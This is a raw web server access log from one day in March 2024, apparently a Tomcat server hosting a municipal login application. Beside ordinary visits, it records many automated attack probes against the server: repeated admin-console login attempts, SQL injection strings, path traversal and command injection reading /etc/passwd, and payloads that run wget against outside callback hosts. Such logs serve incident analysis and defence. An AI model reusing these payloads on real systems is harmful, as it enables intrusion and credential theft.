[10/Mar/2024:05:09:52 -0300] "GET / HTTP/1.1" 200 11217 41.186.73.134 - - [10/Mar/2024:05:09:52 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:05:11:37 -0300] "POST /login.php HTTP/1.1" 404 979 41.186.73.134 - - [10/Mar/2024:05:13:52 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:05:15:04 -0300] "POST /ws_utc/resources/setting/options HTTP/1.1" 404 1025 13.234.226.222 - - [10/Mar/2024:05:15:05 -0300] "POST /ws_utc/resources/setting/keystore HTTP/1.1" 404 1027 41.186.73.134 - - [10/Mar/2024:05:17:51 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:05:21:38 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:05:25:37 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:05:29:35 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - both [10/Mar/2024:05:33:22 -0300] "GET /manager/html HTTP/1.1" 403 3196 41.186.73.134 - - [10/Mar/2024:05:37:23 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:05:41:19 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:05:41:35 -0300] "GET /glpi/scripts/unlock_tasks.php?cycle=1%20UNION%20ALL%20SELECT%201,(@@version)--%20&only_tasks=1 HTTP/1.1" 404 1019 13.234.226.222 - - [10/Mar/2024:05:41:35 -0300] "GET /scripts/unlock_tasks.php?cycle=1%20UNION%20ALL%20SELECT%201,(@@version)--%20&only_tasks=1 HTTP/1.1" 404 1009 41.186.73.134 - - [10/Mar/2024:05:45:09 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:05:49:11 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:05:53:06 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:05:56:54 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:06:00:56 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:06:00:56 -0300] "POST /checkValid HTTP/1.1" 404 981 13.234.226.222 - - [10/Mar/2024:06:00:57 -0300] "GET /dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/ HTTP/1.1" 400 - 34.74.212.249 - - [10/Mar/2024:06:03:19 -0300] "GET /robots.txt HTTP/1.0" 404 981 34.74.212.249 - - [10/Mar/2024:06:03:20 -0300] "GET /cormun/servlet/hlogin HTTP/1.0" 200 1709 41.186.73.134 - - [10/Mar/2024:06:04:53 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:06:08:45 -0300] "GET /manager/html HTTP/1.1" 401 2474 146.19.24.28 - - [10/Mar/2024:06:08:50 -0300] "GET / HTTP/1.1" 200 11217 192.241.216.39 - - [10/Mar/2024:06:09:27 -0300] "GET / HTTP/1.1" 200 11217 41.186.73.134 - - [10/Mar/2024:06:12:45 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:06:16:40 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:06:20:27 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:06:24:28 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:06:28:27 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:06:32:17 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:06:36:16 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:06:40:10 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:06:43:57 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:06:47:57 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:06:51:53 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:06:55:40 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:06:59:40 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:07:03:37 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:07:05:09 -0300] "GET /secure/ContactAdministrators!default.jspa HTTP/1.1" 404 1043 41.186.73.134 - - [10/Mar/2024:07:07:23 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:07:07:57 -0300] "GET /free_time.cgi HTTP/1.1" 404 987 13.234.226.222 - - [10/Mar/2024:07:10:47 -0300] "GET /cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS//etc/passwd HTTP/1.1" 404 1063 41.186.73.134 - - [10/Mar/2024:07:11:24 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:07:15:21 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:07:15:45 -0300] "GET /cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat%20/etc/passwd%0a'&PW HTTP/1.1" 404 993 41.186.73.134 - - [10/Mar/2024:07:19:07 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:07:23:04 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:07:25:15 -0300] "GET /wan.htm HTTP/1.1" 404 975 45.142.182.92 - - [10/Mar/2024:07:25:49 -0300] "GET / HTTP/1.1" 200 11217 41.186.73.134 - - [10/Mar/2024:07:27:01 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:07:30:53 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:07:34:51 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:07:38:45 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:07:42:30 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:07:44:39 -0300] "GET /WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%29%2CCHAR%28126%29%29%29 HTTP/1.1" 404 997 41.186.73.134 - - [10/Mar/2024:07:46:26 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:07:50:25 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:07:54:13 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:07:58:18 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:07:58:56 -0300] "POST /crowd/admin/uploadplugin.action HTTP/1.1" 404 1023 13.234.226.222 - - [10/Mar/2024:07:58:57 -0300] "GET /crowd/plugins/servlet/exp HTTP/1.1" 404 1011 41.186.73.134 - - [10/Mar/2024:08:02:16 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:08:06:03 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - role1 [10/Mar/2024:08:10:03 -0300] "GET /manager/html HTTP/1.1" 403 3196 41.186.73.134 - - [10/Mar/2024:08:14:08 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:08:17:57 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:08:20:37 -0300] "GET /login HTTP/1.1" 404 971 13.234.226.222 - - [10/Mar/2024:08:20:38 -0300] "POST /Collector/diagnostics/ping HTTP/1.1" 404 1013 13.234.226.222 - - [10/Mar/2024:08:21:30 -0300] "GET /login HTTP/1.1" 404 971 13.234.226.222 - - [10/Mar/2024:08:21:31 -0300] "POST /Collector/diagnostics/trace_route HTTP/1.1" 404 1027 41.186.73.134 - - [10/Mar/2024:08:21:54 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:08:25:52 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:08:29:42 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:08:33:43 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:08:34:33 -0300] "POST /password_change.cgi HTTP/1.1" 404 999 41.186.73.134 - - [10/Mar/2024:08:37:42 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:08:41:31 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:08:45:32 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:08:49:32 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:08:53:22 -0300] "GET /manager/html HTTP/1.1" 401 2474 107.20.94.248 - - [10/Mar/2024:08:56:43 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1719 41.186.73.134 - - [10/Mar/2024:08:57:29 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:08:58:40 -0300] "GET /password.jsn HTTP/1.1" 404 985 90.151.171.106 - - [10/Mar/2024:08:59:29 -0300] "CONNECT fingerprints.bablosoft.com:443 HTTP/1.1" 400 - 90.151.171.106 - - [10/Mar/2024:08:59:29 -0300] "GET /ip?Z79498556572Q1 HTTP/1.1" 404 965 41.186.73.134 - - [10/Mar/2024:09:01:37 -0300] "GET /manager/html HTTP/1.1" 401 2474 66.249.66.3 - - [10/Mar/2024:09:01:39 -0300] "GET /robots.txt HTTP/1.1" 404 981 66.249.66.1 - - [10/Mar/2024:09:01:39 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1723 13.234.226.222 - - [10/Mar/2024:09:02:14 -0300] "GET /cgi-bin/login_mgr.cgi?C1=ON&cmd=login&f_type=1&f_username=admin&port=80%7Cpwd%26id&pre_pwd=1&pwd=%20&ssl=1&ssl_port=1&username HTTP/1.1" 404 1003 13.234.226.222 - - [10/Mar/2024:09:02:14 -0300] "POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.1" 404 1021 41.186.73.134 - - [10/Mar/2024:09:05:32 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:09:09:33 -0300] "GET /manager/html HTTP/1.1" 401 2474 185.180.143.49 - - [10/Mar/2024:09:11:04 -0300] "GET / HTTP/1.1" 200 11217 13.234.226.222 - - [10/Mar/2024:09:11:48 -0300] "GET /install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23 HTTP/1.1" 404 1061 41.186.73.134 - - [10/Mar/2024:09:13:38 -0300] "GET /manager/html HTTP/1.1" 401 2474 41.186.73.134 - - [10/Mar/2024:09:17:40 -0300] "GET /manager/html HTTP/1.1" 401 2474 13.234.226.222 - - [10/Mar/2024:09:28:29 -0300] "POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1" 404 1049 13.234.226.222 - - [10/Mar/2024:09:37:23 -0300] "GET /login HTTP/1.1" 404 971 13.234.226.222 - - [10/Mar/2024:09:37:24 -0300] "POST /Collector/appliancesettings/applianceSettingsFileTransfer HTTP/1.1" 404 1075 13.234.226.222 - - [10/Mar/2024:09:37:25 -0300] "GET /talari/app/files/2dSPNqE0qUVk0pTvCV8eKcPJw5I HTTP/1.1" 404 1049 13.234.226.222 - - [10/Mar/2024:09:53:20 -0300] "POST /wp-json/visualizer/v1/upload-data HTTP/1.1" 404 1027 13.234.226.222 - - [10/Mar/2024:10:05:04 -0300] "POST /ui/api/v1/ui/auth/login HTTP/1.1" 404 1007 13.234.226.222 - - [10/Mar/2024:10:07:36 -0300] "GET /pages/systemcall.php?command=cat%20/etc/passwd HTTP/1.1" 404 1001 13.234.226.222 - - [10/Mar/2024:10:11:28 -0300] "POST /getcfg.php HTTP/1.1" 404 981 13.234.226.222 - - [10/Mar/2024:10:18:43 -0300] "GET /2dSPNheh3Gvy7SGdhUbZOBJ1txN/../../ThinVnc.ini HTTP/1.1" 400 - 13.234.226.222 - - [10/Mar/2024:10:30:54 -0300] "GET /getFavicon?host=http://oast.fun/ HTTP/1.1" 404 981 185.36.81.40 - - [10/Mar/2024:10:37:08 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 13.234.226.222 - - [10/Mar/2024:10:46:49 -0300] "GET /Collector/storagemgmt/apply?data%5B0%5D%5Bhost%5D=%60/bin/wget+http://cnm831f8c89nksussvq0d3xqrebbyggmi.oast.live%60&data%5B0%5D%5Bpath%5D=mypath&data%5B0%5D%5Btype%5D=mytype HTTP/1.1" 404 1015 13.234.226.222 - - [10/Mar/2024:10:47:20 -0300] "POST /admin/auth/reset-password HTTP/1.1" 404 1011 13.234.226.222 - - [10/Mar/2024:10:50:17 -0300] "GET /Collector/nms/addModifyZTDProxy?ztd_server=127.0.0.1&ztd_port=3333&ztd_username=user&ztd_password=$(/bin/wget$IFShttp://cnm831f8c89nksussvq0b7t4t1tdraydw.oast.live) HTTP/1.1" 404 1023 13.234.226.222 - - [10/Mar/2024:11:16:06 -0300] "GET /?pum_action=tools_page_tab_system_info HTTP/1.1" 200 11217 13.234.226.222 - - [10/Mar/2024:11:16:07 -0300] "POST / HTTP/1.1" 200 11217 13.234.226.222 - - [10/Mar/2024:11:33:37 -0300] "POST /servlet/UploadServlet HTTP/1.1" 404 1003 13.234.226.222 - - [10/Mar/2024:11:33:38 -0300] "GET /test.txt HTTP/1.1" 404 977 91.92.251.96 - - [10/Mar/2024:11:37:16 -0300] "CONNECT google.com:443 HTTP/1.1" 400 - 13.234.226.222 - - [10/Mar/2024:11:42:06 -0300] "GET /vpn/../vpns/cfg/smb.conf HTTP/1.1" 404 1009 13.234.226.222 - - [10/Mar/2024:11:50:39 -0300] "GET /query?db=db&q=SHOW%20DATABASES HTTP/1.1" 404 971 13.234.226.222 - - [10/Mar/2024:11:56:52 -0300] "POST /apply_sec.cgi HTTP/1.1" 404 987 13.234.226.222 - - [10/Mar/2024:11:56:53 -0300] "POST /apply_sec.cgi HTTP/1.1" 404 987 13.234.226.222 - - [10/Mar/2024:11:56:54 -0300] "POST /apply_sec.cgi HTTP/1.1" 404 987 146.19.24.28 - - [10/Mar/2024:12:02:34 -0300] "GET / HTTP/1.1" 200 11217 13.234.226.222 - - [10/Mar/2024:12:08:01 -0300] "POST /rest/tinymce/1/macro/preview HTTP/1.1" 404 1017 13.234.226.222 - - [10/Mar/2024:12:17:50 -0300] "POST /cgi-bin/file_transfer.cgi HTTP/1.1" 404 1011 13.234.226.222 - - [10/Mar/2024:12:52:32 -0300] "POST /photo/p/api/album.php HTTP/1.1" 404 1003 45.142.182.92 - - [10/Mar/2024:12:57:35 -0300] "GET / HTTP/1.1" 200 11217 13.234.226.222 - - [10/Mar/2024:13:09:04 -0300] "POST /service/extdirect HTTP/1.1" 404 995 13.234.226.222 - - [10/Mar/2024:13:09:55 -0300] "POST /api/timelion/run HTTP/1.1" 404 993 13.234.226.222 - - [10/Mar/2024:13:13:51 -0300] "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 404 1017 13.234.226.222 - - [10/Mar/2024:13:13:51 -0300] "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 404 1017 13.234.226.222 - - [10/Mar/2024:13:13:56 -0300] "GET /wavemaker/studioService.download?method=getContent&inUrl=file///etc/passwd HTTP/1.1" 404 1025 13.234.226.222 - - [10/Mar/2024:13:17:01 -0300] "GET /wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd HTTP/1.1" 404 1117 13.234.226.222 - - [10/Mar/2024:13:21:04 -0300] "POST /Autodiscover/Autodiscover.xml HTTP/1.1" 404 1019 13.234.226.222 - - [10/Mar/2024:13:29:33 -0300] "POST /artifactory/ui/auth/login?_spring_security_remember_me=false HTTP/1.1" 404 1011 13.234.226.222 - - [10/Mar/2024:13:52:31 -0300] "POST /adxmlrpc.php HTTP/1.1" 404 985 13.234.226.222 - - [10/Mar/2024:13:52:32 -0300] "GET /plugins/3rdPartyServers/ox3rdPartyServers/max.class.php?0=id HTTP/1.1" 404 1071 78.108.177.50 - - [10/Mar/2024:14:00:08 -0300] "GET / HTTP/1.0" 200 11197 13.234.226.222 - - [10/Mar/2024:14:16:03 -0300] "GET /card_scan.php?No=30&ReaderNo=%60cat%20/etc/passwd%20%3E%20mrocDeBmIa.txt%60 HTTP/1.1" 404 987 13.234.226.222 - - [10/Mar/2024:14:16:04 -0300] "GET /mrocDeBmIa.txt HTTP/1.1" 404 989 123.58.215.102 - - [10/Mar/2024:14:20:09 -0300] "GET / HTTP/1.1" 200 11217 123.58.215.102 - - [10/Mar/2024:14:20:10 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 123.58.215.102 - - [10/Mar/2024:14:20:11 -0300] "GET /tomcat.png HTTP/1.1" 200 5103 123.58.215.102 - - [10/Mar/2024:14:20:11 -0300] "GET /robots.txt HTTP/1.1" 404 981 123.58.215.102 - - [10/Mar/2024:14:20:11 -0300] "GET /sitemap.xml HTTP/1.1" 404 983 123.58.215.102 - - [10/Mar/2024:14:20:12 -0300] "GET /axis2-admin/ HTTP/1.1" 404 985 123.58.215.102 - - [10/Mar/2024:14:20:13 -0300] "GET /axis2/ HTTP/1.1" 404 973 123.58.215.102 - - [10/Mar/2024:14:20:13 -0300] "GET /axis2/axis2-admin/ HTTP/1.1" 404 997 123.58.215.102 - - [10/Mar/2024:14:20:14 -0300] "GET /?id=%25{{{11}}*{{11}}} HTTP/1.1" 200 11217 123.58.215.102 - - [10/Mar/2024:14:20:15 -0300] "GET /struts/webconsole.html HTTP/1.1" 404 1005 123.58.215.102 - - [10/Mar/2024:14:20:15 -0300] "GET /?actionErrors=1111 HTTP/1.1" 200 11217 123.58.215.102 - - [10/Mar/2024:14:20:16 -0300] "GET /invoker/readonly HTTP/1.1" 404 993 13.234.226.222 - - [10/Mar/2024:14:20:39 -0300] "POST /wls-wsat/CoordinatorPortType HTTP/1.1" 404 1017 13.234.226.222 - - [10/Mar/2024:14:20:40 -0300] "POST /_async/AsyncResponseService HTTP/1.1" 404 1015 13.234.226.222 - - [10/Mar/2024:14:20:41 -0300] "GET /_async/favicon.ico HTTP/1.1" 404 997 62.169.217.17 - - [10/Mar/2024:14:21:51 -0300] "POST /goform/set_LimitClient_cfg HTTP/1.1" 400 - 13.234.226.222 - - [10/Mar/2024:14:48:24 -0300] "GET /commands.inc.php?searchOption=contains&searchField=vuln&search=search&searchColumn=command%20UNION%20ALL%20SELECT%20(SELECT%20CONCAT(0x223E3C42523E5B50574E5D,md5('999999999'),0x5B50574E5D3C42523E)%20limit%200,1),NULL-- HTTP/1.1" 404 993 13.234.226.222 - - [10/Mar/2024:14:53:24 -0300] "GET /compliancepolicies.inc.php?search=True&searchColumn=policyName&searchOption=contains&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL+--+ HTTP/1.1" 404 1013 13.234.226.222 - - [10/Mar/2024:14:57:29 -0300] "GET /web.config.i18n.ashx?l=fnxbk&v=fnxbk HTTP/1.1" 404 1001 13.234.226.222 - - [10/Mar/2024:14:57:30 -0300] "GET /SWNetPerfMon.db.i18n.ashx?l=fnxbk&v=fnxbk HTTP/1.1" 404 1011 181.162.135.116 - - [10/Mar/2024:15:08:08 -0300] "G5"Ø%†=j lï\]MÈ[xŒX3‹ÐÌþÆ ÑœAʑ’ÇÜ{µ€­¬¶úM™ÌödðQéë¡1b " 400 - 181.162.135.116 - - [10/Mar/2024:15:08:08 -0300] "-" 400 - 181.162.135.116 - - [10/Mar/2024:15:08:08 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1717 181.162.135.116 - - [10/Mar/2024:15:08:08 -0300] "GET /cormun/static/gxtimezone.js?85251 HTTP/1.1" 200 5781 181.162.135.116 - - [10/Mar/2024:15:08:08 -0300] "GET /cormun/static/gxcfg.js?2022112219184450 HTTP/1.1" 200 953 181.162.135.116 - - [10/Mar/2024:15:08:08 -0300] "GET /cormun/static/messages.spa.js?85251 HTTP/1.1" 200 30736 181.162.135.116 - - [10/Mar/2024:15:08:08 -0300] "GET /cormun/static/Resources/CormunLogin.png HTTP/1.1" 200 19132 181.162.135.116 - - [10/Mar/2024:15:08:08 -0300] "GET /cormun/static/Resources/Spanish/PXTools.css?1759030 HTTP/1.1" 200 100853 181.162.135.116 - - [10/Mar/2024:15:08:08 -0300] "GET /cormun/static/hlogin.js?2022112219184458 HTTP/1.1" 200 2156 181.162.135.116 - - [10/Mar/2024:15:08:08 -0300] "GET /cormun/static/gxgral.js?85251 HTTP/1.1" 200 384558 181.162.135.116 - - [10/Mar/2024:15:08:08 -0300] "GET /cormun/static/Resources/PXToolsLoginTop.png HTTP/1.1" 200 1337 181.162.135.116 - - [10/Mar/2024:15:08:08 -0300] "GET /cormun/static/Resources/PXToolsLoginBackground.png HTTP/1.1" 200 1164 181.162.135.116 - - [10/Mar/2024:15:08:08 -0300] "GET /cormun/static/Resources/PXToolsButtonLeft.png HTTP/1.1" 200 1310 181.162.135.116 - - [10/Mar/2024:15:08:08 -0300] "GET /cormun/static/Resources/PXToolsLoginBottom.png HTTP/1.1" 200 1389 181.162.135.116 - - [10/Mar/2024:15:08:08 -0300] "GET /cormun/static/Resources/PXToolsButtonRight.png HTTP/1.1" 200 1294 181.162.135.116 - - [10/Mar/2024:15:08:08 -0300] "GET /cormun/static/Resources/PXToolsButtonBackground.png HTTP/1.1" 200 1176 181.162.135.116 - - [10/Mar/2024:15:08:08 -0300] "GET /cormun/static/Resources/indicator.gif HTTP/1.1" 200 1553 181.162.135.116 - - [10/Mar/2024:15:08:08 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1727 181.162.135.116 - - [10/Mar/2024:15:08:08 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 181.162.135.116 - - [10/Mar/2024:15:08:25 -0300] "POST /cormun/servlet/hlogin?7380455188ed931c5c5fc1fa0599a7b3,gx-no-cache=1710093942203 HTTP/1.1" 200 443 181.162.135.116 - - [10/Mar/2024:15:08:27 -0300] "POST /cormun/servlet/hlogin?7380455188ed931c5c5fc1fa0599a7b3,gx-no-cache=1710093944209 HTTP/1.1" 200 442 13.234.226.222 - - [10/Mar/2024:15:13:36 -0300] "GET /compliancepolicyelements.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL,NULL+--+&searchColumn=elementName&searchOption=contains HTTP/1.1" 404 1025 13.234.226.222 - - [10/Mar/2024:15:23:05 -0300] "GET /devices.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL+--+&searchColumn=n.id&searchOption=contains HTTP/1.1" 404 991 167.94.146.51 - - [10/Mar/2024:15:29:13 -0300] "GET / HTTP/1.1" 200 11217 167.94.146.51 - - [10/Mar/2024:15:29:17 -0300] "GET / HTTP/1.1" 200 11217 167.94.146.51 - - [10/Mar/2024:15:29:17 -0300] "PRI * HTTP/2.0" 505 - 167.94.146.51 - - [10/Mar/2024:15:29:18 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 13.234.226.222 - - [10/Mar/2024:15:47:54 -0300] "GET /objects/getImage.php?base64Url=YGlkID4gdG9saXMudHh0YA===&format=png HTTP/1.1" 404 1001 13.234.226.222 - - [10/Mar/2024:15:47:55 -0300] "GET /objects/getImageMP4.php?base64Url=YGlkID4gdG9saXMudHh0YA===&format=jpg HTTP/1.1" 404 1007 13.234.226.222 - - [10/Mar/2024:15:47:56 -0300] "GET /objects/getSpiritsFromVideo.php?base64Url=YGlkID4gdG9saXMudHh0YA===&format=jpg HTTP/1.1" 404 1023 13.234.226.222 - - [10/Mar/2024:15:47:56 -0300] "GET /objects/tolis.txt HTTP/1.1" 404 995 13.234.226.222 - - [10/Mar/2024:15:55:58 -0300] "GET /snippets.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL+--+&searchColumn=snippetName&searchOption=contains HTTP/1.1" 404 993 13.234.226.222 - - [10/Mar/2024:15:56:59 -0300] "GET /index.php/admin/filemanager/sa/getZipFile?path=/../../../../../../../etc/passwd HTTP/1.1" 404 1043 200.83.117.162 - - [10/Mar/2024:15:57:04 -0300] "WSäØÑC€ÂÏ@ωGU«x…¼Hâ zZ¬\‰®e> …šô÷–HØ"Y%·| " 400 - 200.83.117.162 - - [10/Mar/2024:15:57:04 -0300] "-" 400 - 200.83.117.162 - - [10/Mar/2024:15:57:04 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1722 200.83.117.162 - - [10/Mar/2024:15:57:04 -0300] "GET /cormun/static/gxtimezone.js?85251 HTTP/1.1" 200 5781 200.83.117.162 - - [10/Mar/2024:15:57:04 -0300] "GET /cormun/static/gxcfg.js?2022112219184450 HTTP/1.1" 200 953 200.83.117.162 - - [10/Mar/2024:15:57:04 -0300] "GET /cormun/static/Resources/CormunLogin.png HTTP/1.1" 200 19132 200.83.117.162 - - [10/Mar/2024:15:57:04 -0300] "GET /cormun/static/messages.spa.js?85251 HTTP/1.1" 200 30736 200.83.117.162 - - [10/Mar/2024:15:57:04 -0300] "GET /cormun/static/hlogin.js?2022112219184458 HTTP/1.1" 200 2156 200.83.117.162 - - [10/Mar/2024:15:57:04 -0300] "GET /cormun/static/Resources/Spanish/PXTools.css?1759030 HTTP/1.1" 200 100853 200.83.117.162 - - [10/Mar/2024:15:57:04 -0300] "GET /cormun/static/gxgral.js?85251 HTTP/1.1" 200 384558 200.83.117.162 - - [10/Mar/2024:15:57:04 -0300] "GET /cormun/static/Resources/PXToolsLoginTop.png HTTP/1.1" 200 1337 200.83.117.162 - - [10/Mar/2024:15:57:04 -0300] "GET /cormun/static/Resources/PXToolsLoginBackground.png HTTP/1.1" 200 1164 200.83.117.162 - - [10/Mar/2024:15:57:04 -0300] "GET /cormun/static/Resources/PXToolsButtonBackground.png HTTP/1.1" 200 1176 200.83.117.162 - - [10/Mar/2024:15:57:04 -0300] "GET /cormun/static/Resources/PXToolsLoginBottom.png HTTP/1.1" 200 1389 200.83.117.162 - - [10/Mar/2024:15:57:04 -0300] "GET /cormun/static/Resources/PXToolsButtonRight.png HTTP/1.1" 200 1294 200.83.117.162 - - [10/Mar/2024:15:57:04 -0300] "GET /cormun/static/Resources/PXToolsButtonLeft.png HTTP/1.1" 200 1310 200.83.117.162 - - [10/Mar/2024:15:57:04 -0300] "GET /cormun/static/Resources/indicator.gif HTTP/1.1" 200 1553 200.83.117.162 - - [10/Mar/2024:15:57:04 -0300] "GET /cormun/servlet/hlogin HTTP/1.1" 200 1733 200.83.117.162 - - [10/Mar/2024:15:57:04 -0300] "GET /favicon.ico HTTP/1.1" 200 21630 200.83.117.162 - - [10/Mar/2024:15:57:17 -0300] "POST /cormun/servlet/hlogin?633c0ccd6f1e2c3d24b4d037e48bd61c,gx-no-cache=1710096874569 HTTP/1.1" 200 90 200.83.117.162 - - [10/Mar/2024:15:57:17 -0300] "GET /cormun/servlet/hpexe_link HTTP/1.1" 200 953 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/gxcfg.js?20221129847421 HTTP/1.1" 200 953 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/hpexe_link.js?20221129847423 HTTP/1.1" 200 625 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/Resources/Spanish/PXTools.css?8354383 HTTP/1.1" 200 100853 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/servlet/hhome HTTP/1.1" 200 4260 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/SmoothNavMenu/resources/ddsmoothmenu.css?1112540 HTTP/1.1" 200 2223 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/SmoothNavMenu/resources/ddsmoothmenu-v.css?1112540 HTTP/1.1" 200 1188 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/gxcfg.js?20201215495537 HTTP/1.1" 200 953 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/scaMessage/css/jquery.pnotify.default.css?1816380 HTTP/1.1" 200 1707 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET /cormun/static/PXToolsJavascripts/pexe_cookies.js HTTP/1.1" 200 792 200.83.117.162 - - [10/Mar/2024:15:57:18 -0300] "GET 